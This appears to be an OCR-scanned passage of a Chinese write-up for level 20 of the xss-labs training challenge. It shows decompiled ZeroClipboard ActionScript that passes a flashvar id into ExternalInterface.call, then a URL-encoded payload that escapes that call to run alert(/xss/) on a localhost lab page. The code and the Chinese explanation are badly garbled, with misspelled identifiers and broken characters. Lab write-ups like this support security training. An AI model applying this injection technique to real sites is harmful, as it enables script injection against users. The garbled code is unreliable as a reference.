https://imgchr.com/i/saEYHU
https://imgchr.com/i/saEoKP

R |

28 id = flashvars. id: ‘*____—_—
el): -

25 button = new Sprit

30 button buttorMode = trus;

31 button useHandCurser = true;

32 button graphics. beginFill (13434624);

33 butten graphics. drasRect(0, 0, Math floor (flashvars. width), Math. floor (flashvers, height));
34 button alpha = 0;

35 addChild{button):

36 butten. addEventListensr (MouseEvent. CLICK, elickHandlex)

37 button addEventlistener (MouseEvent MOUSE_OVER, function(pereml:Event):® e
38 f

19 ExternalInterface call("ZeroClipboard dispatch”, id, ‘mouselver”, null):
40 b:

11 button addEventListener (MouseEvent MOUSE_OUT, function(pareml:Event) #

12 {

13 ExternalInterface. call{"TercCliphoard. dispatch’, id, ‘mouselut”, null):
84 3B

15 button addEventListener (MouseEvent. MOUSE_DOVH, function(parsml:Event):#
16 {

17 ExternalInterface. call("ZeroCliphoard. dispatch”, id, ‘mouselown”, null);
48 b

19 button addEventlistener (MouseEvent MOUSE_UP, function(parsml: Event) ¥

= i

7] L& F|Externalinterface.callf 2 — NS HiE B SR Iid B 34T IERT 38, X AT AL 5 8ixss.

X B &% K% Hpayload:

arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width=123%26height=123

@ FiEEEevel20 x 4+
& & @ 127.0.0.1/xs55-labs-master/level20.phparg0l =kd&arg02 =xss\ ") jcatch{elalertfxss/1)/ M2 bwidth=123%26height=123
EM R EE E= Lk = A M G i
@ EE @ @ o bl ! 127000 BF
RIS

BRI E o


https://imgchr.com/i/saVQaD
https://imgchr.com/i/saZmWj
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